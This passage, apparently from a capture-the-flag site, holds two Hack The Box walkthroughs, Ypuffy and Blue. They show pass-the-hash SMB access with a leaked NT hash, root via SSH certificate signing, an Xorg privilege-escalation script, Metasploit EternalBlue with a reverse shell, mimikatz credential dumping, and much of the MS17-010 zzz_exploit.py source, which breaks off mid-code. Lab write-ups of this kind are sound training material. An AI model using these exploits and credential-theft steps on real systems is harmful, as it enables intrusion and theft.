| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY
Host script results:
|_clock-skew: mean: 1h36m15s, deviation: 2h53m13s, median: -3m45s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2019-02-17T14:47:47-05:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-17 20:47:46
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.51 seconds
The nmap scan shows us that there are 5 ports open: 22(SSH), 80(HTTP), 139(SMB), 389(LDAP), 445(SMB)
As LDAP service is running on port 389, we use nmap script called “ldap-search” to enumerate the target machine and we find the password hash for user “alice1978”.
c:\Users\jacco>nmap -p389 --script=ldap-search 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-17 20:56 W. Europe Standard Time
Nmap scan report for 10.10.10.107
Host is up (0.027s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=hackthebox,dc=htb
| dn: dc=hackthebox,dc=htb
| dc: hackthebox
| objectClass: top
| objectClass: domain
| dn: ou=passwd,dc=hackthebox,dc=htb
| ou: passwd
| objectClass: top
| objectClass: organizationalUnit
| dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
| uid: bob8791
| cn: Bob
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| userPassword: {BSDAUTH}bob8791
| uidNumber: 5001
| gidNumber: 5001
| gecos: Bob
| homeDirectory: /home/bob8791
| loginShell: /bin/ksh
| dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
| uid: alice1978
| cn: Alice
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| objectClass: sambaSamAccount
| userPassword: {BSDAUTH}alice1978
| uidNumber: 5000
| gidNumber: 5000
| gecos: Alice
| homeDirectory: /home/alice1978
| loginShell: /bin/ksh
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
| displayName: Alice
| sambaAcctFlags: [U ]
| sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
| sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
| sambaPwdLastSet: 1532916644
| dn: ou=group,dc=hackthebox,dc=htb
| ou: group
| objectClass: top
| objectClass: organizationalUnit
| dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: bob8791
| userPassword: {crypt}*
| gidNumber: 5001
| dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: alice1978
| userPassword: {crypt}*
| gidNumber: 5000
| dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
| sambaDomainName: YPUFFY
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464
| sambaAlgorithmicRidBase: 1000
| objectclass: sambaDomain
| sambaNextUserRid: 1000
| sambaMinPwdLength: 5
| sambaPwdHistoryLength: 0
| sambaLogonToChgPwd: 0
| sambaMaxPwdAge: -1
| sambaMinPwdAge: 0
| sambaLockoutDuration: 30
| sambaLockoutObservationWindow: 30
| sambaLockoutThreshold: 0
| sambaForceLogoff: -1
| sambaRefuseMachinePwdChange: 0
|_ sambaNextRid: 1001
Nmap done: 1 IP address (1 host up) scanned in 12.73 seconds
Now as we find the password hash and username, we can login through using SMB using smbclient.
First, we check the shared directory available on the target machine and find a directory called “alice”. We then access the shared directory and find a file called “my_private_key.ppk”, we download the file to our local system.
root@kali:~/htb/ypuffy# smbmap -u alice1978 -p aad3b435b51404eeaad3b435b51404ee:0B186E661BBDBDCF6047784DE8B9FD8B -d YPUFFY -H 10.10.10.107 -r
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 10.10.10.107...
[+] IP: 10.10.10.107:445 Name: 10.10.10.107
Disk Permissions
---- -----------
alice READ, WRITE
./
dr--r--r-- 0 Sun Feb 17 21:03:33 2019 .
dr--r--r-- 0 Wed Aug 1 05:16:50 2018 ..
fr--r--r-- 1460 Tue Jul 17 03:38:51 2018 my_private_key.ppk
IPC$ NO ACCESS
root@kali:~/htb/ypuffy# smbmap -u alice1978 -p aad3b435b51404eeaad3b435b51404ee:0B186E661BBDBDCF6047784DE8B9FD8B -d YPUFFY -H 10.10.10.107 --download alice/my_private_key.ppk
[+] Finding open SMB ports....
[+] Hash detected, using pass-the-hash to authentiate
[+] User session establishd on 10.10.10.107...
[+] Starting download: alice\my_private_key.ppk (1460 bytes)
[+] File output to: /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk
The file we downloaded was a “Putty Private Key” file, so we use puttygen to convert the file into RSA private key. After converting it into RSA key, we change the permission of the RSA key and use it to login through SSH.
root@kali:~/htb/ypuffy# cp /usr/share/smbmap/10.10.10.107-alice_my_private_key.ppk .
root@kali:~/htb/ypuffy# apt-get install putty
root@kali:~/htb/ypuffy# puttygen 10.10.10.107-alice_my_private_key.ppk -O private-openssh -o id_rsa
root@kali:~/htb/ypuffy# chmod 600 id_rsa
root@kali:~/htb/ypuffy# ssh -i id_rsa alice1978@10.10.10.107
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy$ cat user.txt
acb*****aab
Now we check the files with suid bit enabled and find that “doas” is available on the target machine. It is a command utility similar to the “sudo” command. Now we check “/etc/doas.conf” to find what commands we can run. We find that we can run “/usr/bin/ssh-keygen” as user “userca”.
ypuffy$ cat /etc/httpd.conf
server "ypuffy.hackthebox.htb" {
listen on * port 80
location "/userca*" {
root "/userca"
root strip 1
directory auto index
}
location "/sshauth*" {
fastcgi socket "/run/wsgi/sshauthd.socket"
}
location * {
block drop
}
}
ypuffy$ cat /etc/ssh/sshd_config
# $OpenBSD: sshd_config,v 1.102 2018/02/16 02:32:40 djm Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
# Ciphers and keying
#RekeyLimit default none
# Logging
#SyslogFacility AUTH
#LogLevel INFO
# Authentication:
#LoginGraceTime 2m
PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
#PubkeyAuthentication yes
# The default is to check both .ssh/authorized_keys and .ssh/authorized_keys2
# but this is overridden so installations will only check .ssh/authorized_keys
AuthorizedKeysFile .ssh/authorized_keys
#AuthorizedPrincipalsFile none
AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody
TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand/usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
--snip--
# PermitTTY no
# ForceCommand cvs server
ypuffy$
As we have the root user’s principal, we can generate SSH keys and sign them with root’s principal. Doing so will allow us to login through SSH as root. Now we know we can run ssh-keygen to generate SSH keys but first, we need a certificate to sign the SSH key. We enumerate the machine to find a certificate and find one inside /home/userca directory.
First, we generate SSH keys and copy them into the /tmp/puckie directory. Then we sign the keys as userca to read the certificate inside /home/userca/ca.
ypuffy$ ssh-keygen -f root
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root.
Your public key has been saved in root.pub.
The key fingerprint is:
SHA256:eX4CmLxRPoydlUfYVNVxt8Tm/zUGLgEBgK4nrVZ9F1c alice1978@ypuffy.hackthebox.htb
The key's randomart image is:
+---[RSA 2048]----+
| .......+o.o+*|
| . ..o.E.o=|
| . . + o o. |
| . . O = + . . |
| o . * S + o . .|
| o + . + * . . oo|
| = o . o o . +|
| o o .|
|. |
+----[SHA256]-----+
ypuffy$ ls -la
total 16
drwxrwxrwx 2 alice1978 wheel 512 Feb 19 06:04 .
drwxrwxrwt 7 root wheel 512 Feb 19 05:50 ..
-rw------- 1 alice1978 wheel 1679 Feb 19 06:04 root
-rw-r--r-- 1 alice1978 wheel 413 Feb 19 06:04 root.pub
ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -n 3m3rgencyB4ckd00r -I root root
Signed user key root-cert.pub: id "root" serial 0 for 3m3rgencyB4ckd00r valid forever
ypuffy$ ls -la
total 20
drwxrwxrwx 2 alice1978 wheel 512 Feb 19 06:22 .
drwxrwxrwt 7 root wheel 512 Feb 19 06:12 ..
-rw------- 1 alice1978 wheel 1675 Feb 19 06:21 root
-rw-r--r-- 1 userca wheel 1526 Feb 19 06:44 root-cert.pub
-rw-r--r-- 1 alice1978 wheel 413 Feb 19 06:21 root.pub
ypuffy$ ssh root@localhost -i root
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy# whoami
root
ypuffy# cat /root/root.txt
126*****57f
After signing the RSA keys, we use the RSA key to login through SSH as the root user.
Alternative way
On October 25th, 2018 (after the release of this box), a vulnerability impacting Xorg server before 1.20.3 was disclosed. It allowed privilege escalation on OpenBSD 6.3 and 6.4. The CVE-2018–14665 was assigned.
$ uname -a
OpenBSD ypuffy.hackthebox.htb 6.3 GENERIC#100 amd64
ypuffy$ cd /tmp
ypuffy$ vi puckie.sh
ypuffy$ chmod +x puckie.sh
ypuffy$ ./puckie.sh
./puckie.sh[1]: it: not found
raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron
Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>
X.Org X Server 1.19.6
Release Date: 2017-12-20
X Protocol Version 11, Revision 0
Build Operating System: OpenBSD 6.3 amd64
Current Operating System: OpenBSD ypuffy.hackthebox.htb 6.3 GENERIC#100 amd64
Build Date: 24 March 2018 02:38:24PM
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(++) Log file: "crontab", Time: Sun Feb 17 15:29:00 2019
(==) Using system config directory "/usr/X11R6/share/X11/xorg.conf.d"
(EE) Segmentation fault at address 0x8
(EE)
Fatal server error:
(EE) Caught signal 11 (Segmentation fault). Server aborting
(EE)
(EE)
Please consult the The X.Org Foundation support
at http://wiki.x.org
for help.
(EE) Please also check the log file at "crontab" for additional information.
(EE)
(EE) Server terminated with error (1). Closing log file.
Be patient for a couple of minutes...
Don't forget to cleanup and run crontab -e to reload the crontab.
-rw-r--r-- 1 root wheel 4813 Feb 17 15:29 /etc/crontab
-rw-r--r-- 1 root wheel 4814 Feb 14 16:00 /etc/crontab.old
-rwsrwxrwx 1 root wheel 7257 Feb 17 15:31 /usr/local/bin/pwned
ypuffy#
ypuffy# whoami
root
ypuffy# cat /root/root.txt
126*****57f
Today we are going to solve another CTF challenge “Blue” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Blue lab.
Level: Beginners
Task: find user.txt and root.txt file in victim’s machine.
Since these labs are online available therefore they have static IP and IP of blue is 10.10.10.40 so let’s begin with nmap port enumeration.
root@kali:~/htb/blue# nmap -sC -sC 10.10.10.40
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 21:19 CET
Nmap scan report for 10.10.10.40
Host is up (0.053s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Host script results:
|_clock-skew: mean: -3m45s, deviation: 1s, median: -3m46s
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2019-02-15T20:16:20+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-02-15 21:16:21
|_ start_date: 2019-02-11 03:48:32
Nmap done: 1 IP address (1 host up) scanned in 35.19 seconds
Great!! Form this result I can conclude username can be “haris” moreover smb 2.02 can be exploit by eternal blue vulnerability.
Let confirm eternal blue vulnerability in victims system using namp script
root@kali:~/htb/blue# nmap --script vuln -p445 10.10.10.40
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-15 21:20 CET
Nmap scan report for 10.10.10.40
Host is up (0.041s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nmap done: 1 IP address (1 host up) scanned in 44.83 seconds
Then I run msfconsole command in terminal and load metasploit framework for using eternal blue module for exploiting target machine.
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
rhost => 10.10.10.40
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.11:4444
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.11:4444 -> 10.10.10.40:49159) at 2019-02-15 21:24:30 +0100
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
C:\Windows\system32>whoami
whoami
nt authority\system
Inside c:\Users\Administrator \Desktop I found root.txt file.
meterpreter > load kiwi
Loading extension kiwi…
.#####. mimikatz 2.1.1 20170608 (x64/windows)
.## ^ ##. “A La Vie, A L’Amour”
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ Ported to Metasploit by OJ Reeves `TheColonial` * * */
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
wdigest credentials
===================
Username Domain Password
——– —— ——–
(null) (null) (null)
HARIS-PC$ WORKGROUP (null)
Manual
Exploit: https://github.com/worawit/MS17-010
A shell can also be achieved using the above PoC. Modifying zzz_exploit.py is relatively easy.
Using \ \ as the username works in this case, as the server is using the default configuration.
A slight modification to the smb_pwn method is also required, as by default it only creates a text
file in the root of the drive. Adding the following lines will copy a local binary to the target and
execute it.
Before we can perform this exploit, we need an open SMB share on this machine. First, we need to add the computer name in our host file and then scan for open SMB shares.
vi /etc/hosts
root@kali:~/htb/blue# smbclient -L \\10.10.10.40 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Share Disk
Users Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.40 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
root@kali:~/htb/blue# smbclient \\\\10.10.10.40\\Users
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Fri Jul 21 08:56:23 2017
.. DR 0 Fri Jul 21 08:56:23 2017
Default DHR 0 Tue Jul 14 09:07:31 2009
desktop.ini AHS 174 Tue Jul 14 06:54:24 2009
Public DR 0 Tue Apr 12 09:51:29 2011
8362495 blocks of size 4096. 3752286 blocks available
smb: \>
We were able to find open SMB shares, and we need to verify that we have access to the shares. We can use smbclient to connect leaving the password blank.
The binary (nc reverse shell) can be generated by C# using the command
c:\PENTEST>c:\windows\Microsoft.NET\Framework\v3.5\csc.exe /t:exe /out:puckieshell443.exe puckieshell443.cs
Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.8931
for Microsoft (R) .NET Framework version 3.5
Copyright (C) Microsoft Corporation. All rights reserved.
puckieshell443.cs(64,34): warning CS0168: The variable 'err' is declared but never used
Exploit Modification
USERNAME = '//'
PASSWORD = ''
Editing user config
We need to modify the python script in the username field. As we saw in a previous step we could connect as guest with no password however to do this we need to put in // for guest authentication.
root@kali:/opt/MS17-010# cat zzz_exploit.py
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
'''
MS17-010 exploit for Windows 2000 and later by sleepya
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''
USERNAME = '//'
PASSWORD = ''
'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it
Note: method name is from NSA eternalromance
For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
of this method is we cannot do information leak to verify transactions alignment before OOB write.
So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
'''
'''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
PACCESS_TOKEN Token; // 0x08
DWORD xx2;
BOOLEAN CopyOnOpen; // 0x14
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x18
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
QWORD xx2;
QWORD xx3;
PACCESS_TOKEN Token; // 0x18
DWORD xx4;
BOOLEAN CopyOnOpen; // 0x24
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x28
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x30
}
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
ImpersonateSecurityContext() is used in these Windows versions.
'''
###########################
# info for modify session security context
###########################
WIN7_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28,
}
WIN7_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x80,
'SESSION_ISNULL_OFFSET': 0x96,
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x1c,
}
# win8+ info
WIN8_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38,
}
WIN8_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x88,
'SESSION_ISNULL_OFFSET': 0x9e,
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x24,
}
# win 2003 (xp 64 bit is win 2003)
WIN2K3_64_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0xba,
'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
WIN2K3_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x96,
'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
# win xp
WINXP_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
}
WIN2K_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
}
###########################
# info for exploitation
###########################
# for windows 2008+
WIN7_32_TRANS_INFO = {
'TRANS_SIZE' : 0xa0, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x40,
'TRANS_OUTPARAM_OFFSET' : 0x44,
'TRANS_INDATA_OFFSET' : 0x48,
'TRANS_OUTDATA_OFFSET' : 0x4c,
'TRANS_PARAMCNT_OFFSET' : 0x58,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
'TRANS_FUNCTION_OFFSET' : 0x72,
'TRANS_MID_OFFSET' : 0x80,
}
WIN7_64_TRANS_INFO = {
'TRANS_SIZE' : 0xf8, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x70,
'TRANS_OUTPARAM_OFFSET' : 0x78,
'TRANS_INDATA_OFFSET' : 0x80,
'TRANS_OUTDATA_OFFSET' : 0x88,
'TRANS_PARAMCNT_OFFSET' : 0x98,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
'TRANS_FUNCTION_OFFSET' : 0xb2,
'TRANS_MID_OFFSET' : 0xc0,
}
WIN5_32_TRANS_INFO = {
'TRANS_SIZE' : 0x98, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x3c,
'TRANS_OUTPARAM_OFFSET' : 0x40,
'TRANS_INDATA_OFFSET' : 0x44,
'TRANS_OUTDATA_OFFSET' : 0x48,
'TRANS_PARAMCNT_OFFSET' : 0x54,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
'TRANS_FUNCTION_OFFSET' : 0x6e,
'TRANS_PID_OFFSET' : 0x78,
'TRANS_MID_OFFSET' : 0x7c,
}
WIN5_64_TRANS_INFO = {
'TRANS_SIZE' : 0xe0, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x68,
'TRANS_OUTPARAM_OFFSET' : 0x70,
'TRANS_INDATA_OFFSET' : 0x78,
'TRANS_OUTDATA_OFFSET' : 0x80,
'TRANS_PARAMCNT_OFFSET' : 0x90,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
'TRANS_FUNCTION_OFFSET' : 0xaa,
'TRANS_PID_OFFSET' : 0xb4,
'TRANS_MID_OFFSET' : 0xb8,
}
X86_INFO = {
'ARCH' : 'x86',
'PTR_SIZE' : 4,
'PTR_FMT' : 'I',
'FRAG_TAG_OFFSET' : 12,
'POOL_ALIGN' : 8,
'SRV_BUFHDR_SIZE' : 8,
}
X64_INFO = {
'ARCH' : 'x64',
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
}
def merge_dicts(*dict_args):
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
},
# for Windows 8 and later
'WIN8': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
